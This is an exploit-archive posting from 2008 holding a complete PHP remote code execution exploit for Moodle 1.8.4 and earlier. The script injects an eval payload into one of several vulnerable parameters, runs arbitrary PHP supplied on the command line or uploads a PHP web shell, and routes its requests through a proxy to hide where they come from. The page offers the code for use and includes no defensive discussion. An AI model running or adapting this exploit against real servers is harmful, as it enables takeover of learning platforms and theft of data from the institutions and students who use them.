what you don't know can hurt you

moodle-exec.txt

moodle-exec.txt
Posted Sep 3, 2008
Authored by zurlich.ipt

Moodle versions 1.8.4 and below remote code execution exploit.

tags | exploit, remote, code execution
MD5 | 7f3beb6819cc88f01ffaf5f6e7718031

moodle-exec.txt

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<?php
/**
* Moodle <= 1.8.4 remote code execution
*/
$url = 'http://target.ru/moodle';
$proxy = 'localhost:8118';

$code = $argv[1];
if(!$code) {
echo 'Sample use:
'.$argv[0].' "phpinfo()" > phpinfo.html
'.$argv[0].' "echo `set`"
'.$argv[0].' /full/local/path/to/file/for/upload/php_shell.php
';
exit;
}
$upload = false;
if(file_exists($code) && is_file($code)) {
$upload = $code;
$code = 'move_uploaded_file($_FILES[file][tmp_name], basename($_FILES[file][name]))';
}
$code .= ';exit;';

$injection_points = array(
'blocks/rss_client/block_rss_client_error.php' => array('error'),
'course/scales.php?id=1' => array('name', 'description'),
'help.php' => array('text'),
'login/confirm.php' => array('data', 's'),
'mod/chat/gui_basic/index.php?id=1' => array('message'),
'mod/forum/post.php' => array('name'),
'mod/glossary/approve.php?id=1' => array('hook'),
'mod/wiki/admin.php' => array('page'),
);
$file = array_rand($injection_points);
$param = $injection_points[$file][array_rand($injection_points[$file])];
$value = '<img src=http&{${eval($_POST[cmd])}};://target.ru>';

$post_data = array($param=>$value, 'cmd'=>$code);
if($upload) {
echo "Check at:\n\t\t".$url.'/'.dirname($file).'/'.basename($upload)."\n";
$post_data["file"] = '@'.$upload;
}

$c = curl_init();
curl_setopt($c, CURLOPT_URL, $url.'/'.$file);
curl_setopt($c, CURLOPT_PROXY, $proxy);
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
curl_setopt($c, CURLOPT_HEADER, false);
echo curl_exec($c);
curl_close($c);
?>


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